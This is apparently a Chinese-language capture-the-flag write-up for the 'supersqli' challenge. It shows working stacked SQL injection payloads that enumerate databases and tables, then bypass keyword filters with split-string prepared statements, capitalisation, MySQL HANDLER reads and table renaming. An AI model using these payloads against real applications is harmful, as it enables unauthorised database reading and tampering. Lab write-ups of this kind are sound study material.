supersqli
SQL注入题目
尝试判断列数
有两列
判断回显在页面的数据
发现过滤了一些关键字
使用堆叠注入,查看数据库
1';show databases--+
查看supersqli中的表
1';use supersqli;show tables--+
发现两个表,依次查看表中的数据
1';use supersqli;show columns from words--+
1';use supersqli;show columns from `1919810931114514`--+ #这里要查看以数字为表名的表需要加反引号
发现flag在数字表中,同时判断当前正在使用的就是supersqli这个数据库,输入框中输入1就是查询的word表。想要得到flag需要使用的语句为
select flag from `1919810931114514`;
由于过滤了一些关键字,所以想要得到flag可采取预编译、修改flag的名字为id修改1919810931114514为words(即可在搜索框中直接输入即可)
-
预编译
所谓预编译就是将一些灵活的参数值以占位符?的形式给代替掉,我们把参数值给抽取出来,把SQL语句进行模板化。让MySQL服务器执行相同的SQL语句时,不需要在校验、解析SQL语句上面花费重复的时间
预编译语法:
set @sql = CONCAT('se','lect * from `1919810931114514`;'); #拼接语句 prepare stmt from @sql; #准备语句 EXECUTE stmt; #执行语句
使用payload
1';set @s = CONCAT('se','lect * from `1919810931114514`;');prepare sa from @s;EXECUTE sa;--+
发现利用strstr()函数对set 和 prepare被过滤
strstr(): strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。 注释:该函数是二进制安全的。 注释:该函数是区分大小写的。如需进行不区分大小写的搜索,请使用 stristr() 函数。
使用大写进行过滤
1';Set @s = CONCAT('se','lect * from `1919810931114514`;');prepare sa from @s;EXECUTE sa;--+
得到flag。
-
使用handler语法(mysql专用语句)
HANDLER snowy OPEN [AS] alias #打开句柄 表名为snowy 的表,as 别名为 alias HANDLER snowy READ first # 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览 # 2、通过索引查看表 # FIRST: 获取第一行(索引最小的一行) # NEXT: 获取下一行 # PREV: 获取上一行 # LAST: 获取最后一行(索引最大的一行) HANDLER snowy READ { FIRST | NEXT | PREV | LAST } # 关闭已打开的句柄 HANDLER tbl_name CLOSE 参考链接:https://blog.csdn.net/qq_43427482/article/details/109898934?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109898934-blog-114995797.235%5Ev27%5Epc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109898934-blog-114995797.235%5Ev27%5Epc_relevant_recovery_v2&utm_relevant_index=2
使用payload
1';use supersqli;handler `1919810931114514` open as p;handler p read first;
-
修改表名
由于没有对alter,rename做出过滤,将1919810931114514修改为words,将flag修改为id,同时将words修改为其他的,将id也修改为其他的。
利用rename,alter 1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);# 1' or 1=1--+
总结:
- 由于对一些敏感的方法进行了过滤采取堆叠注入的方法获取一些信息
- 采用预编译、handler方法(mysql特有)、修改表名来进行后续的解题
- 同时对strstr、preg_match函数的理解更加深刻。
- 本次学习中可以得到了一些特殊的绕过方法。